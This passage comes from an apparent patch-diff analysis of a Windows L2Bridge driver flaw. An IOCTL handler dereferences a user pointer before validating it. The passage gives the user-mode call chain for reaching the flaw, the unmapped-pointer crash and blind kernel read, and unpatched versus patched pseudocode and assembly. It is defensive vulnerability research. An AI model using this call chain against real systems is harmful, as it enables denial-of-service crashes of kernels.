&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;movups&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xmm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xmmword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dereference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;NO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;probe&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;at &lt;code&gt;0x1c0009c6f&lt;/code&gt;, &lt;em&gt;before&lt;/em&gt; the size check (&lt;code&gt;cmp edx, 0x10&lt;/code&gt; at &lt;code&gt;0x1c0009c85&lt;/code&gt;), &lt;em&gt;before&lt;/em&gt; any NULL check, and &lt;em&gt;before&lt;/em&gt; any &lt;code&gt;ExGetPreviousMode()&lt;/code&gt; gate. The unpatched driver does not even import &lt;code&gt;ProbeForRead&lt;/code&gt; or &lt;code&gt;ExGetPreviousMode&lt;/code&gt;. The 16 bytes are then used as a GUID for &lt;code&gt;L2BridgeFindandReferenceFilterModule&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What the patch does.&lt;/strong&gt; The patched handler:
1. Performs the size check first (&lt;code&gt;cmp edx, 0x10&lt;/code&gt;).
2. Adds &lt;code&gt;test rcx, rcx&lt;/code&gt; (NULL check).
3. Calls &lt;code&gt;ExGetPreviousMode()&lt;/code&gt;; only if the previous mode is &lt;strong&gt;User&lt;/strong&gt; does it call &lt;code&gt;ProbeForRead(arg1, 0x10, 4)&lt;/code&gt;.
4. Only then dereferences &lt;code&gt;*arg1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why it is exploitable.&lt;/strong&gt; A user-mode caller can supply &lt;code&gt;lpInBuffer&lt;/code&gt; of &lt;em&gt;any&lt;/em&gt; 64-bit value — there is no requirement that it point inside the caller's address space. Consequences:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pass an unmapped address (e.g. &lt;code&gt;0x1&lt;/code&gt;) → the kernel takes a page fault in &lt;code&gt;movups&lt;/code&gt; → BSOD &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt; (0x50). This is a reliable denial of service reachable from any caller that can open the device.&lt;/li&gt;
&lt;li&gt;Pass a &lt;em&gt;valid kernel address&lt;/em&gt; → the kernel reads 16 bytes from that address into XMM0 / stack. Those 16 bytes are split into two 8-byte bridge-interface identifiers that are used only as keys into &lt;code&gt;L2BridgeFindandReferenceFilterModule&lt;/code&gt;; the read value itself is never copied back to the caller. The handler returns only a status code, so this is a blind read, not a self-contained information-disclosure primitive.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Call chain (attacker-reachable).&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;User-mode process opens &lt;code&gt;\\.\L2BRIDGE&lt;/code&gt; via &lt;code&gt;CreateFileW&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;User-mode process calls &lt;code&gt;DeviceIoControl(h, 0x12a000, lpInBuffer, nInBufferSize, ...)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;I/O Manager invokes the Fast I/O dispatch routine &lt;code&gt;FilterFastDeviceIoControl @ 0x1c0009b40&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;0x1c0009b86&lt;/code&gt;, the routine loads the raw user pointer into &lt;code&gt;rcx&lt;/code&gt; (&lt;code&gt;mov rcx, rdi&lt;/code&gt;) and at &lt;code&gt;0x1c0009b89&lt;/code&gt; calls &lt;code&gt;L2BridgeCtlBridgeInterfaces_Handler @ 0x1c0009c5c&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;L2BridgeCtlBridgeInterfaces_Handler&lt;/code&gt; at &lt;code&gt;0x1c0009c6f&lt;/code&gt; executes &lt;code&gt;movups xmm0, [rcx]&lt;/code&gt; — vulnerable dereference.&lt;/li&gt;
&lt;li&gt;The 16 bytes are then used as a GUID for &lt;code&gt;L2BridgeFindandReferenceFilterModule @ 0x1c0009bb0&lt;/code&gt; (called from &lt;code&gt;0x1c0009ca4&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============================== UNPATCHED ==============================&lt;/span&gt;
&lt;span class="c1"&gt;// L2BridgeCtlBridgeInterfaces_Handler @ 0x1c0009c5c&lt;/span&gt;
&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;L2BridgeCtlBridgeInterfaces_Handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// raw user-mode InputBuffer pointer&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;InputBufferLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;&amp;lt;&amp;lt; VULN: dereferences arg1 BEFORE any check&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;__int128&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;guid0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;__int128&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// size / arg checks happen AFTER the deref&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 0xC000000D-ish&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FILTER_MODULE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fm1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;L2BridgeFindandReferenceFilterModule&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;guid0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// =============================== PATCHED ===============================&lt;/span&gt;
&lt;span class="c1"&gt;// L2BridgeCtlBridgeInterfaces_Handler @ 0x140011a28&lt;/span&gt;
&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;L2BridgeCtlBridgeInterfaces_Handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// size + NULL check FIRST&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ExGetPreviousMode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UserMode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;&amp;lt;&amp;lt; ADDED&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ProbeForRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;&amp;lt;&amp;lt; ADDED&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;__int128&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;guid0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;__int128&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// safe dereference AFTER probe&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The single most important line in the diff is the &lt;strong&gt;move of &lt;code&gt;*arg1&lt;/code&gt; to the bottom of the validation block&lt;/strong&gt;. The unpatched version reads it at the top, before the size check can reject a zero-length buffer.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;L2BridgeCtlBridgeInterfaces_Handler&lt;/code&gt; (unpatched, &lt;code&gt;0x1c0009c5c&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009c5c&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009c5f&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009c63&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009c67&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009c68&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009c69&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009c6b&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x40&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009c6f&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movups&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmmword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;&amp;lt;&amp;lt; VULN: deref raw user ptr, NO probe&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009c72&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009c74&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009c76&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009c78&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009c7c&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14b&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009c7f&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movdqu&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xmmword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; save the 16 bytes read from the user pointer&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009c85&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;&amp;lt;&amp;lt; size check is AFTER the deref&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009c88&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c0009d92&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; reject if InputBufferLength &amp;lt; 0x10&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009c8e&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; arg4 == 0 ?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009c91&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jne&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c0009d92&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009c97&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; arg3 == 0 ?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009c9a&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jne&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c0009d92&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009ca0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11-0x28&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; pointer to saved GUID&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c0009ca4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x1c0009bb0&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; L2BridgeFindandReferenceFilterModule&lt;/span&gt;
